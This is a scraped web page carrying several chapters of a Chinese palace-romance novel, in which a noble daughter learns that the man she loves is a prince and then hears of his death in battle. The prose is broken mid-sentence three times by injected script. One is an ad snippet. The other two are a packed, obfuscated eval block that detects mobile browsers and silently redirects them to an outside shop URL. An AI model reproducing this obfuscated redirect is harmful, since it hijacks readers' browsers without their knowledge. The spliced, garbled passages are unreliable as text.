映杏知觉出姐妹两人之间气氛尴尬,怕是闹了些许不愉,便先吩咐映棠和瑶琴两人先出去,然后端着药膏走到闻浅床畔:“小姐,这些膏药是太子殿下吩咐人送来的呢。” 听到是太子送来的,闻潇道:“姐姐,太子殿下很关心你呢,听说还是殿下亲自从高才人那里救下的你,是不是?” 本想让纪明来英雄救美的,没想到那个蠢猪一点用都没有!最后还是太子殿下来救下了闻浅。 “你出去吧。”闻浅道。 此话一出,不仅闻潇脸色一僵,就连映杏都捏了把汗。 小姐从来没有对二小姐说过这种话!虽然自己也觉得二小姐为人做事不懂事,但她还是希望姐妹二人能够和睦相处。 闻潇只是梗在原地不动。 于是映杏主动开口道:“小姐,你受伤之后二小姐可是一直很关心你呢,听说你醒来了就来咱们院子里看望你了。” 要知道,之前的时候,除非是被大夫人严厉要求,闻潇根本不会主动踏进落梅院半步。闻浅从塞外被寻回后,闻潇来落梅院的次数屈指可数。 闻潇顺着映杏的话道:“是啊,我、我可担心姐姐了呢!” 说完,闻潇从袖中取出一包蜜饯,伸手递给闻浅。 闻潇:“里面装的是一些杏干,姐姐,我知道喝药很苦,你可以吃一些杏干,就不苦了。” 闻浅面无表情地看着闻潇,没有伸出手接过,道:“我不想吃。” 闻潇一阵尴尬,但自知理亏,不敢发作。她把杏干放在闻浅床头的柜子上,道:“也许姐姐你一会就想吃了呢?姐姐你就收下吧。” 映杏从药箱里取出膏药,跪坐到窗畔。 闻浅屈起腿,撩开裤脚,露出一双又细又白的双腿。这双腿修长笔直,光滑如丝缎,纤细的同时又带着匀称的肉感。 只是两处膝盖的伤口实在突兀,过了一天后已经呈现出暗沉的深紫乌青色,与周围粉嫩的皮肤形成鲜明的对比。 映杏看着心疼坏了:“小姐,你怎么回去冷宫呢?这双腿怎么摔成这样,一会上药的时候可能有些疼,小姐你忍着点。” 闻浅狠狠瞪了映杏一眼,死丫头,该问的不问,不该问的偏要问。 昨天老夫人听说闻浅受伤后大发雷霆,责骂了看护闻浅的几个丫鬟,连着自己都没被好脸色看。万一被老夫人知道是自己推的闻浅,那自己在老夫人心里的分量恐怕是又要下降了! 闻浅捏着手心,烦躁又紧张地等待闻浅的回答。她开始后悔自己来落梅院了,闻浅现在又不待见自己,来这自讨没趣做什么? 闻浅垂着长睫,默默不语。上药的刺痛自膝盖处密密麻麻地传来,让她不由得蹙起了秀气的眉头。 她总觉得自己好像忘记了什么东西,心口闷闷的不得安宁。 究竟是什么呢? 闻浅脸色倏地一变,心脏也坠坠下沉,她沉声对着闻潇道:“你出去吧。” 闻潇后退半步:“姐姐,你可是生气了?可是……” 闻潇抿抿唇,她不想向闻浅道歉,这样就等于直接承认了是她推的闻浅——闻浅还没告状,倒是她先招了!这可不行。 闻浅不说话。 “那、那我改日再来看你,你好好养病。”闻潇欲哭无泪,转身便捂着脸跑了出去。她什么时候受过这种委屈! 房间内。 闻潇走远了,闻浅才开口问映杏道:“映杏,我衣袖中藏着的画轴呢?” 闻浅身上的衣服已经换成了寝衣,不用想也知道,是映杏帮闻浅换的。 映杏一愣,没想到闻浅会这么问:“画轴?” 见映杏茫然的样子,闻浅着急了,两只手比划了一下:“是的,就是一副这个大小的画轴,有点旧了,上面是一个……男子。” 万一落到旁人手里就不好了,尤其是落到纪翀手里。 映杏茫然地摇摇头:“画卷?什么画卷,奴婢没有看到。” 闻浅脸色苍白了一瞬,耳边嗡嗡地响了起来。万一、万一是被太子看到了怎么办?他看到画像上的男子和他相貌相似,他会不会多想? 闻浅深吸一口气,很快又恢复了冷静。她告诉自己不必慌张,一来或许是掉落到了别处,不一定会落到太子手里;二来就算落到了太子手里,他也未必会多想。 自己完全没有必要杞人忧天。 映杏见自家小姐的脸色变了又变,心里不觉也有些奇怪:“小姐袖中怎么会藏有男子的画轴?” 闻浅到底是未出阁的闺秀,这件事万一传出去恐怕有损小姐的声誉。也难怪方才小姐要把二小姐给支出去。 闻浅:“那男子生得俊美,我就想留着他的画像打听打听他到底是谁。” 这句话闻浅倒是没有撒谎,只是话说得不全。 听小姐这么说,映杏扑哧一笑:“小姐什么时候这么花痴了?” 闻浅也跟着牵起了笑意,只是这笑意浮于表面。她能怎么办,一想到玉行心口就密密麻麻地泛起疼,就想哭。 时间悄然间流逝,到现在,没有见到玉行已经一年有余了,可是她还是没有办法停止思念。 几近作茧自缚的为情所困。 就连现在,映杏替她上药的时候,她竟然还是会情不自禁地想到在盈春楼的时候。 那是秋日的午后,自己急着去小厨房拿给楼里花魁的糕点,没想到走太急摔了一跤。 闻浅吃痛极了,又怕被别人看见自己这副狼狈窘迫的模样,便强撑着爬起来。 却没想到天意偏不遂人愿,就在她踉踉跄跄地站起身后,便听见一声男子的轻笑。 是玉行公子。 闻浅脸一下烧得通红,垂着眸不敢看清风朗月的他。她觉得好丢脸,他不会要嘲笑她吧? 玉行负手而立,道:“小浅,何事这么着急?” 闻浅:“我要去给上官娘子拿芙蓉糕,快来不及了,怎么办呀。” 因为定国公府的人把她抛弃在盈春楼后长达七年都不闻不问,除了头两年给了楼里一百两银子,后面再也没送来银两过。楼里众人对闻浅也由一开始的恭敬到怠慢,再到后面甚至把闻浅当丫鬟使唤。 毕竟,她们都以为,就算闻浅出身高贵,也不过是京中贵族不要的弃女。 那时候的闻浅心里溢满了苦楚与自卑,她对玉行产生了不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一样的情愫。因为在那个时候,玉行是唯一对她好的人。 玉行道:“事缓则圆,做任何事都不要慌慌张张的,越是慌张便越容易出错。” 闻浅“嗯”了一声,泪水却不受控制地哭了出来。 玉行见状,又笑道:“哭什么?你怕我么?再说了,有我在,你不必怕她们。” 闻浅惴惴道:“真、真的么?” 玉行道:“自然,那个什么芙蓉糕,一会我叫人给她送过去就是。” 他微微俯下身,声音放软了些,一双清冷的凤眸温柔地瞧着她:“腿很疼吧?我这有一些治疗摔伤的膏药,你随我来拿吧。” …… 停,不能再想了。 闻浅尝试说服自己爱上纪翀,试图通过移情别恋来减轻这种爱而不得的痛苦;她也尝试过让自己终日忙碌,让自己忘身在书海或者女工中,可是她绝望地发现,她忘不掉玉行。 越是刻意,越忘不掉。玉行似乎无处不在,似乎透过天上的云层凝着她,拘束着她。 喜欢上玉行,也不难怪。她有的时候也会在想,他都拒绝她了,那她又在执着什么呢?可在那水深火热的日子里,总要找个精神上的寄托。再经过岁月的沉淀,相处的点点滴滴被自己美化太多了。 这份爱意,到底该如何是好? 闻浅叹了口气:“映杏,你去把我前几日临摹的《菩萨蛮》取来,我再……看看。” 尽管那几句诗词,早就烂熟于心。可是她的字迹,带着他教导的影子。 到底是不同的。 * 闻潇一反平日娇纵的性子,一连三日好声好气地来看望闻浅。又是带糕点又是带字画,变着法地给闻浅赔罪、哄闻浅开心。 虽然闻潇心里对闻浅还是有嫉妒和艳羡,可毕竟她也没有那么讨厌她,更不想因为这件事让闻浅记恨自己。 见闻浅只是偏着头看向窗外,没有搭理自己的意思。闻潇抓着自己的裙摆,语气里沾满了委屈:“姐姐,你就不要不理我了嘛。” 闻浅还是不说话。 这三天,她一句话都不肯多和闻潇说。 闻潇有些难堪,但还是硬着头皮说:“虽然、虽然我承认,你受伤这件事是我不好,但是太子殿下来救了姐姐诶!这件事可以看出来太子殿下其实还是很在意姐姐的?姐姐不是喜欢太子殿下嘛?这不是好事一件嘛!” 闻潇对太子殿下的喜欢,更多是带着景仰和欣赏,是小孩子心性不懂事的爱慕。在闻潇心里,得到了太子殿下,成为了太子妃,就会被他人高看一等。而这种高人一等的感觉会叫闻潇很开心,仅此而已。所以闻潇所谓的喜欢,只不过是喜欢珠玉金银的喜欢。 听了这话,闻浅才慢慢转回头,木木地问:“哦,那你既然知道我喜欢太子,前些日子为何又常常拉着我去怜妃娘娘的宫里?还经常示意四皇子殿下来接近我?” 闻潇一噎,没想到闻浅竟然就这么把自己见不得人的心思说了出来。平日里闻浅可是再好脾气不过了,看来这件事她是真的生气了。 闻潇硬着头皮笑嘻嘻道:“我哪有。要是姐姐不想去,下次我不拉着你去永和宫用午膳,也不拉着你和纪明谈话了好不好?” 没想到这句话刚刚说完,映杏便走了进来,向闻浅行礼道:“小姐,四皇子殿下来看望您了。” 18. 打听 闻潇面色一僵,心道四皇子为何偏偏这个时候来。她觑了眼闻浅,见自己嫡姐恬姝色的面容上没有多余的表情。 闻浅下意识地拢了拢衣衫,自床上端坐起来:“叫他进来吧。” 纪明一进屋子就径直朝闻浅走过去,一边走一边关切道:“闻大小姐,你现在身体可好点了吗?我听说你受伤了,实在担心得很,便求了母妃放我出宫来探探你。” 本来按照闻潇的计划,英雄救美的人应该是他,可偏偏他怎么这么倒霉!半路撞上了太子殿下,倒叫太子殿下去把闻浅给救下了。 纪明还没来得及给闻潇脸色看,倒是闻潇先紧绷着嘴,面色不虞。 闻潇知道姐姐对纪明没意思,愧疚心理发作让她愈发觉得自己从前那样撮合纪明和姐姐是自己太幼稚。再加上她本来对纪明也没什么好感,此刻更是不待见他。 倒是纪明心大,丝毫没有察觉出两姐妹之间的暗潮汹涌。 闻浅道:“谢殿下关心,不是很好。” 闻浅说得这么直白,叫纪明一阵尴尬。 纪明道:“那高才人就是个疯子!你以后可千万小心些,要绕着她还有她在的冷宫走。” 闻浅:“你可知高才人如何会发疯?” 纪明道:“还不是因为大皇子的事情……” “大皇子?” 纪明:“那高才人本来不过是父皇身边的一个婢女,后来不知怎么怀了龙种,居然比皇后还先有孕,这可是大忌。高才人生下了大皇子,皇后却把大皇子抱到自己膝下养着了。高才人就是因为这件事发疯的。” 闻潇:“这个高才人真不懂抬举。” 闻浅若有所思,她还是在想那画卷到底是落到了何人手里。她旁敲侧击,委婉地想从纪明嘴里要到些线索。 一无所获。 闻潇见姐姐只顾着跟纪明说话,这时候倒是急了,却找不到插话的机会,只好在一旁干等着。 终于,纪明离开了房间。 闻潇忙扑到闻浅床畔:“姐姐,你同四殿下讲了那么多话,怎么也不理理我?你就别生我的气了,潇儿真的知错了。” 闻浅看着闻潇,半晌,面无表情的脸上才绽出点笑意来,她叹了口气:“你毕竟是我的亲妹妹,我再怎么置气,又怎么会真的不理你呢。” 闻浅缓缓道:“虽然你我不是同一个母亲所生,自我回府后,你便对我冷眼有加。” 闻浅的话就像一把匕首,游走在闻潇的心头。闻潇说不上话,垂着脑袋,就像犯错的小白兔。 她以为嫡姐动了真气,再也不会原谅她了,一时又是后悔又是自责,平日里颐指气使的气焰消得一干二净。 “不过,我怎么会真的和你置气?我毕竟是你的姐姐,我们有同一个父亲。”闻浅叹了一口气,伸手握住了闻潇的手。 听见闻浅表达对自己的感情,闻潇一阵感动,她眼泪都快掉下来:“姐姐,其实我不是真的讨厌你……我只是,我只是……” 闻潇哽咽道:“我只是太害怕了,你回来之后,祖母便只关心你,兄长也是。” 提到闻峥,其实闻潇心里一直有点怕这个面若冠玉却又清冷淡漠的兄长。 闻浅:“你实在是多虑了,不管怎么样,你都是府里的二小姐。祖母更不会因为我回府而冷落你。” 闻潇顿时觉得松了一口气,尽管她切切实实感受到了老夫人对自己的冷淡。可眼下听闻浅这么说,她便也只当是自己太过孩子气。 闻潇坦诚道:“姐姐,那你是原谅我了吗?” 闻浅笑着点了点头。 闻潇用手拭了拭眼角泪水,定定地看着姐姐:“我其实一点都不喜欢太子殿下!我、我知错了,姐姐,你要是喜欢太子殿下的话,就要勇敢一点。” 说完这句话,闻潇便起身匆匆离开了房间。 闻潇就像一只叽叽喳喳的雀儿,她走后,房间顿时便寂静了下来。 静得又叫闻浅深觉窒息,她感觉自己右处胸口一阵闷闷的痛。 仿佛所有热闹都与她无关,只有此时此刻的孤独安静才是真正属于她的。 泪水不觉中也蓄在了她的眼中,她看向窗外阳光明媚,心中想起纪翀。 自回云京后,她有意图地接近纪翀,纪翀并没有表现太多抗拒,让她觉得自己很有戏。她隐隐约约觉得,如果自己真的想要成为太子妃,并没有旁人口中那么艰难。 可,为什么总是感觉差点意思。 也许太容易得到的东西,总是有种不真实感。 万一纪翀知道她是因为纪翀面容与玉行公子相似才喜欢他的话,他也会嫌鄙她吧。 窗外初夏的阳光热烈而又温暖地射在她的脸上,就像打了她一耳光。 她决定先按捺住烦躁的情绪,把画像遗失的事情深藏在心底,永远不和纪翀提起。 喜欢上玉行,也不难怪。毕竟在困难的时间里,物质上的难熬总要在精神上找个寄托。再经过岁月的沉淀。美化太多了。 那又该向谁打听呢? 闻浅思忖着,脑海里想到了一个人。 * 八日后,闻浅腿上已经好了差不多了。便又像从前一般,和闻潇结伴去太学。 午膳的时候,闻潇带了盒饭,提着裙摆坐到闻浅身边:“姐姐,我们一起用午膳吧。” 她今日特意吩咐厨房做了些梅醋牛肉,就是想和姐姐一起吃。闻潇已经打算好了,要和自己的姐姐好好相处。 前几天夜里的时候,闻潇睡不着,便从床底下拖出了落了灰的一个大官皮百宝箱。里面装了很多闻潇小时候的东西,她平时根本就不会拿出来看。 里面有布老虎、拨浪鼓、九连环,还有一只大大的风筝。前三样都是闻浅所赠,后面一只纸风筝,实则是她和闻浅共同所绘,可惜的是根本就没有机会放飞。 闻潇看着那些旧物,心里又是一阵触动。尽管她平日看着嚣张跋扈,实则也是一个内心敏感柔软的小女孩。她想起了很多很多和姐姐的回忆。 记忆里的闻浅,似乎和现在不太一样。那时候的她,是明媚而又开朗的,就像一朵充满生命力的芙蕖般姣洁。现在的她,虽然依旧貌美,却似乎对周遭的一切都是淡淡的,整个人仿佛被薄雾笼罩着,不管是喜悦还是难过,似乎都掀不起波澜。 姐姐在盈春楼的那七年,一定很难过吧。 闻潇隐隐约约想起来,当时闻浅走失的消息传回云京的时候,老夫人气得闭门斋戒了三日。周氏是闻浅的生母,也是府里原本的主母,噩耗传回来后,周氏痛哭一场,随后没过几个月就撒手人寰。可惜的是,周氏走的时候,闻浅人不知在何处,更没能为周氏尽孝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13894460|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 当时自己年幼,常常会去空无一人的落梅院傻傻地等闻浅回来,一等就是一天,后来娘亲告诉自己,姐姐不会再回来了。 …… “不了,今日我想去永和宫找四殿下。” 闻浅的话把闻潇的神思拽回现实,她一愣,怀疑自己听错了。 闻潇又重复了一遍:“什么?姐姐,你要去找四殿下。” 闻浅望向窗外,点头。 “姐姐,需要我陪你去吗?” “不必了。” 随后闻浅提着裙摆起身,留闻潇睁大了眼,错愕地跪坐在原地。 * 闻浅离开后,闻潇只能去找自己的几个闺中好友一起用午膳。 “太子殿下今日可能会来太学诶。”邹沁知道闻潇喜欢太子殿下,便兴奋道。 “哦……”闻潇闷闷不乐地戳着米饭,旋即圆眸一抬,惊道,“什么?太子殿下会来太学!沁儿,你怎么知道的?” “我兄长告诉我的,圣上吩咐太子殿下这些日子要多去指点一下四殿下。”邹沁道,“恰好永和宫离太学近,殿下便会顺道来太学。潇潇,你前几日不是有几句话不太理解么?刚好去问问殿下,也好多留点印象。” 听着好友给自己出谋划策,闻潇却全然只留意到太子殿下会去永和宫:“难怪……” 难怪今日姐姐急着要去永和宫,虽然不知道姐姐是从哪里知道的消息,但闻潇现在一心想着姐姐。 闻潇:“沁儿,我现在不喜欢太子殿下了。” 邹沁一怔:“为什么?” 闻潇放下筷子,道:“不喜欢就是不喜欢,哪有那么多为什么。只不过日后你若是有什么太子殿下的消息,一定是还要告诉我的。” 邹沁:“那是自然。” * 永和宫书房外处。 一众宫人见了闻浅纷纷行礼,领事的李公公捧着手笑道:“不知闻大小姐来寻四殿下有什么事情么?” 闻浅自然不是来寻四殿下共用午膳的,事实上今天她一点胃口都没有。 闻浅随口编了个理由:“前几日来拜访四殿下的时候,好像有块帕子忘在了永和宫,便想来问问四殿下有没有瞧见。” 李公公道:“噢,原是如此。闻小姐不妨在屋外候一会,现下……” 二人谈话的动静传到书房内,拄着腮凝思打哈的四殿下纪明眼睛倏地一亮,大声冲外面喊了声:“闻姐姐来了?” 此时的纪翀身着白袍,一双黑靴,姿势有些不羁地倚坐在在另一侧的太师椅上,他捧着书卷,长睫垂着,玉容上八风不动,启唇道:“闻浅来寻你做什么?” 纪明炫耀道:“殿下,你有所不知,前些日子闻浅小姐可是天天来永和宫寻我一起用膳。她生得那样标致,我胃口都好了不少。” 纪明这番话,实在是添油加醋,但事实偏偏还真是如此。 纪翀:“哦?这卷看完了?” 纪明不管不顾地放下书卷起身:“闻浅小姐来寻我,我自然不能冷落了她,改日再看,改日再看。” 见纪翀没有阻拦的意思,纪明便欢快地跳下榻子,穿了靴便跑去给闻浅开门:“闻浅小姐,有什么事进来再说吧!” 纪翀凝思须臾,便拿起书卷,信步绕到屏风之后,打算把书卷放回原位。 19. 察觉 “闻小姐,你来寻我有什么事吗?”纪明热络地把闻浅请进书房。 一方面,他确实对美貌过人又身份高贵的闻浅心生好感;另一方面,他实在是不想被太子盯着看那些枯燥的书。他本就志不在朝政。 只是闻浅难得主动来寻他,又还是独自一人,当真是稀奇。 纪明的书房被下人打理的井井有条。 书房空荡而开阔,当地是一面紫檀大插屏,后面隐隐约约看到些书架。另一侧的大书桌上杂乱地摆放着些书卷笔墨。 纪明见太子殿下不见了踪影,环顾一周瞥见插屏后面闪现一抹白色衣角,便料到太子大概是走到书架那边去了。他刚想压低声提醒闻浅。 闻浅便开门见山道:“我想向你打听一件事。” 她的神色无比认真,倒是叫纪明也一同严肃了起来,竟将提醒闻浅之事抛之脑后。 闻浅全然不知房间里还有另一人的存在。 纪明引着闻浅入座,也认真问道:“闻浅小姐想打听什么事情,不妨说来,我要是知道的话一定会告诉你的。” 闻浅指腹摸了摸掌心,犹疑着开口道:“肃王殿下,是一个什么样的人?” 纪明:“皇长兄?他啊……他,他是一个很英武的人。” 纪明搜刮着脑海里的记忆,道:“他生下来就被抱到皇后膝下养了,不过我也没怎么在宫里见过他。” 闻浅:“你还知道什么?” 纪明想了想:“他有个表字,叫玉行。” 玉行两个字仿若一道晴天霹雳,直直地劈中了闻浅,仿佛要叫她整个人撕裂成两半。她愕然震惊,咬着唇,然后问:“玉、行……” 她错愕地发现,她对玉行似乎是一无所知的。那剥去了幻想的滤镜,她还喜欢他什么呢? 可为什么,还是在意他,还是想了解他的一切。仿佛对世界上任何事物都失去了兴趣,只对他还甚在意。 闻浅:“我听说他领兵去西北了?你这可有他的画像?” 闻浅迫不及待地抛出了心头最在意的事情。 纪明挠挠头:“你问那么多做什么,你若是真好奇,为什么不去问问高才人?” 听了纪明这话,闻浅一怔。是啊,或许可以去见高才人一面,大概她才是最了解内情的人。 见闻浅怔愣的神色,纪明却心生了误会,他“哎呀”一声,道:“倒是我不好,高才人那么可怕,闻小姐千万别再去冷宫那里了。” 闻浅静默下来,却又有无数多的疑问像起泡一样泛在心头。 如果玉行公子是肃王殿下,那他是不是也知道自己是谁?他和自己相处是不是也是别有目的的? 定国公府掌有兵家重权。 可那个时候的自己,不过是一个被抛弃的孤女,接近自己又能给他带来什么好处呢? 世界上很多关系的本质,不过是利益交换。闻浅深深了解这个道理,可她对他总是有奢望。 她总是把他想得太好了,她总是奢望真爱。 可真爱似乎总是难逢。 …… 闻浅深深呼吸了一口,觉得自己似乎有些可笑。 “闻浅小姐,既然那么想要了解肃王。”纪翀从屏风后缓缓走出,温润的声音透着淡漠,“为什么不来问问本宫?” 闻浅根本就没有料到纪翀也会在房间内,她又是错愕又是震惊,心跳扑通扑通急速跳动,却也没忘了礼数,她冲着纪翀行礼。 “呵。” 虚无缥缈的轻笑传来,闻浅听不懂里面的情绪。 又过了半晌,纪翀才抬手:“起身吧。” 闻浅觉得今日的纪翀似乎格外冷漠,又或许,他本就如传言那般难以接近,从前种种不过是她的错觉。 纪翀的态度如何,是热络还是冷淡,说实话闻浅并不在意。只是她仍忍不住思索,那日的画轴到底是不是落到了纪翀手里。若是落到了纪翀手里,纪翀为什么不归还给自己。难道他有所察觉? 不可能。 绝对不可能。 思及此,闻浅定了定心神,不慌不忙地回应道:“臣女并没有十分在意肃王殿下。” “哦?”纪翀似乎也没有寻根问底的意思,眼神中的冷冰一闪而过,他望向她的神色又恢复了一贯的温和,“闻浅小姐近来腿伤是否已大好?” 纪翀确已有所察觉,但是既然她不愿意多说,他也不会多问。 他从来没有探究他人心意的念想,他只坚信一条准则,那就是论迹不论心。 * 在纪明书房逗留了片刻,其实并没有和太子说上太多话。闻浅走出书房的时候正是辰时正刻,一日之中最温暖的时刻。可此时的闻浅只觉得背后渗出了一身冷汗,她紧紧握着拳,坚定地往冷宫走去。 高才人发现玉行的画卷遗失后很生气,当即在房间内乱扔乱砸。今日心情却甚好,难得的坐在梳妆台上画着眉。听到屋外传来细响,拧起眉:“谁啊。” 一日之中,难得有片刻时间的清醒。高才人不愿意清醒,因为清醒的时候是寂寞的。寂寞永远比痛苦更深刻。 “高才人,是我……”闻浅说这句话的时候,其实内心还是有所恐惧的。但她太想了解玉行更多,对玉行的好奇战胜了一切怯懦。 高才人冷笑一声:“是不是你?你还敢再来?不怕我杀了你?” 世界上最无畏的人只有一种,那就是走投无路的疯子。他们在世界上已经别无牵挂,那自然就什么都不怕。 闻浅知道高才人说的是什么,高才人大概是料到是她偷走了肃王殿下的画卷。她想了想,从怀中小心翼翼地拿出那枚玉行赠送的佩玉。 与此同时,高才人拖着跛足过来开了门,凶狠的眸中透着不善。 闻浅便伸出手,掌心中放着刻有“玉行”二字的佩玉,递给高才人:“此物,你可识得?” 高才人的眸光落了过去,当即便怔然:“你怎么会有这个东西?” 闻浅:“是他,是他送给我的。不过,我现在想把他给你,就当是个念想吧。那日我在房间里看到了画卷,便自作主张拿了过去,不成想不属于我的东西终究不属于我,我把它弄丢了,实在是抱歉……” 如果闻浅有所隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13894461|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞒,或有任何不坦诚,那么高才人或许就不会乐意同她交谈。但见她实在是真诚不过,手里又有这样一枚玉佩,高才人实在生不起气,她道:“既然是珩儿送你的,那你给我做什么。你自己留着吧。” 闻浅抬眸望去,美眸中透着感激。 高才人容貌已毁,平日里望向她的视线多是厌恶或是恐惧,只有闻浅会流露出这样感激的神色。 高才人便道:“你真人真是奇怪,那画作又不是什么珍奇的东西,弄丢便弄丢吧。” 对于玉行,闻浅有许许多多的疑问,一股脑地涌出来,却又像块巨石压住了喉舌,她忽然有些茫然:“肃王殿下……” 高才人转身进屋,又回头对闻浅道:“你不一起进来看看?” 闻浅局促不过片刻,便料想到高才人大抵是有东西想展示给自己看,便没有过多犹豫,提起裙摆进了屋子。一进屋,她就怔愣住了。 房间斑驳的墙壁上挂满了画卷,画的都是同一人。 或是捧卷看书,或是临帖写字,或是林下舞剑,或是骑马拉弓…… 都是他,都是玉行。 都是……肃王殿下。 惟妙惟肖,栩栩如生。 闻浅像石塑一般伫在原地,茫然地说不出一个字。这么多他,都是她没见过的他。原来他有那么多没见过的一面。 见闻浅如此反应,高才人忽然掩面哈哈大笑起来:“他是我的亲生骨肉,却不能唤我一声娘,却要沦作那些人的工具,凭什么?凭什么?” 这些话大概都是出自高才人之手。也难怪,在冷宫的日子实在是很难熬的,也只有写写画画才能打发这些厌倦的时光。 闻浅心中划过些许希冀,她想问问高才人能否将一副画卷送给自己。 可就在这时候,高才人觉得自己脑海里的神经又紧绷了起来,仿若变成了无数根钢筋,在她的脑海里搅动,她痛苦地捂着脑袋,血色顿时布满了整个眼球,她瞪大双眸怒吼道:“你滚,你也滚!” 闻浅一骇,知道大概是高才人疯病又犯了,便后退一步,转身跑离。 * 自那日之后,闻浅更是四处打探肃王殿下的下落,不觉半月过去。 云京又发生了一件轰动朝野的大事,那便是定国公府从塞外立功回来了。 失地虽然没有收回,但是大破冉氓之军,边疆已经停战了。 冉氓作为游牧民族,向来彪悍,鸾燕自建国以来便鲜有胜仗。能大破冉氓之军,圣上已经龙颜大悦。 只是与此大捷同时传回云京的,还有一件噩耗。 原来同去征战的肃王殿下不幸战死战场,为国捐躯了。 陛下悲恸之余,追封肃王为景阳肃亲王,下令举国为肃亲王守丧七日。还决定恢复冷宫高才人的身份,给她抬为高静妃。 一下子从才人,还是冷宫的才人,抬升为妃位,可见圣宠之隆盛,这可是建国以来从未有过的事情。 只是消息一传到冷宫,高才人便失心疯了。她一把火烧了冷宫,就连她自己也一并葬身在火海,也包括那些闻浅所想要的肃王画作。 20. 待见 小暑一过,天气热得简直像个蒸笼。远处的街景在热浪中微微扭曲,知了在葱茏高树上叫个不停,刺眼的白日高悬于空。这种天出去多走几步就是暴汗满身,烤炉一般地炎热直叫人浑身乏力。 太学放了暑假,闻浅便待在落梅院。老夫人那边派人送了不少的冰块,倒也算是凉快。 映杏端着碗冰镇西瓜进来的时候,就看见小姐上半身趴在美人榻的小桌上,一副魂不守舍的模样。映棠站在一侧垂着眼替小姐扇扇子。 “小姐,冰镇西瓜最是可口解热,你吃一点吧。”映杏蹙着眉走过去,担忧道。 这几日小姐说自己没什么胃口,基本上没吃什么东西,整个人都消瘦了一圈。她本就瘦弱,如今再瘦看着简直就像即将羽化登仙。 闻浅扫了一眼,闷闷不乐地“嗯”了一声。 “小姐,你怎么了?”映杏小心翼翼问道。 原来喜欢一个人是这么痛苦的事情。本来刚燃起的希望,得知玉行就是肃王,她还是很高兴的。毕竟以她的身份,配玉行倒也算是门当户对。只要等玉行凯旋归京,她就立刻去找陛下赐婚。 可是现实为何总是如此荒诞,一下子就浇灭了她的所有期许与爱意,直叫闻浅心如死灰。天气闷热,热得仿佛空气都在燃烧,闻浅却只觉得如坠冰窖,心中凄清冰凉。 她看着映杏关切的脸,叹口气道:“没意思,我觉得好没意思。” 映杏:“小姐是觉得没劲吗?” 她刚想说要不要出去转转,一看这天气,在外面待着还不如在房间里避暑休息。 映杏想了想:“要不要我把二小姐叫过来陪你聊聊天?或者叫几个丫鬟来陪小姐打叶子牌?或者、或者我去管事院里领点针线,小姐不是最喜欢做女红吗?” 闻浅光听着便觉得索然无味,她摇摇头:“不要。” 映棠麻木地扇着扇子,脑子里却在回味着昨晚看的话本子。这是她托别的丫鬟出府时去街上给她带的,最近京中最流行这些谈情说爱的话本子了。 想起了里面主人公相处的情节,映棠没忍住笑出声。 循声,映杏奇怪地看向映棠。闻浅倒还是没有什么反应。 映杏:“你笑什么?” 映棠忙慌乱地站好,更加卖力地扇扇子:“没有没有,奴婢只是在想,小姐无聊的话可以找些话本子来看。” 映杏一想,是啊,看些话本可以打发时间。 见映杏面露愉色,映棠便殷勤地对小姐道:“小姐,奴婢这有些不错的话本子,您若是想看看的话,要不奴婢给您拿几本来打发打发时间?” 闻浅想了想:“好。” * 一下午的时间,闻浅心不在焉地翻看着俗套的话本打发时间。 夜晚,她躺在床榻上,琉璃般的眸子只失神地凝望着床幔。她翻了个身,匀出一口气,闭上眼,泪水慢慢滚落眼眶。 闭上眼,想象自己还在盈春楼。 盈春楼的亭阁处也有一棵很大的红梅树。冬天极冷的时候,她站在树下看花。那个时候的她,想的时候要是能回到云京就好了。出神的时候,玉行来到了她的身边。 玉行:“一个人在这里做什么?” 闻浅:“红梅花很好看,你不觉得吗?” 玉行笑了一下,纷纷细雪飘落下来,覆在他的眉目。 “嗯。但赏花者更赏心悦目。” 说完这句话,他随手从树上拈下一朵花。 玉行身量高,足足比闻浅高出一个脑袋。他抬手的时候,衣袖带来的清香拂过闻浅的面容。 她怔怔地看着他,任由他把红梅戴在她的发上。 那个时候他对自己到底有没有一点点的心动?还是真的只是百无聊赖在自己身上打发时间? 泪浸湿了闻浅的脸庞,她仿佛还能嗅到冬日净冽的空气,不管玉行对自己是认真还是敷衍,当时的自己只是当作寻常。 闻浅觉得自己很可笑,喜欢了那么久的一个人,却直到现在才知道他的真实身份。 既然身份都能造假,那他又欺瞒了自己多少?为什么要欺瞒自己?为什么不喜欢她却还要让她喜欢上她?为什么要给她那么多不该有的念想。 为什么这些鸡毛蒜皮的小事却全都历历在目? 现在想来,那时候的他对她全然都是谎言。 平庸甚至敷衍的字句铭刻在心,提醒她还忘不掉他。 那朵红梅后来被闻浅藏在树叶中,永远地留在了盈春楼,也留在回忆中像荆棘一样缠绕上闻浅,直叫她窒息到无法自拔。 闻浅呜咽哭泣出声。 他们都说肃王纪珩已经死了,玉行已经死了,可死亡和活着之间的界限如今对她来说是如此模糊?玉行离开她之后她总觉得他始终会好好的活着,她憎恨他,就像迷恋他一样憎恨她。可如今告诉她,她执念的载体已经不存在于这个世界上了。 这该叫她如何自拔? * 夏日炎炎。 闻浅自老夫人处离开,在转廊处碰上了自己的父亲闻鸿观。 “爹爹。” 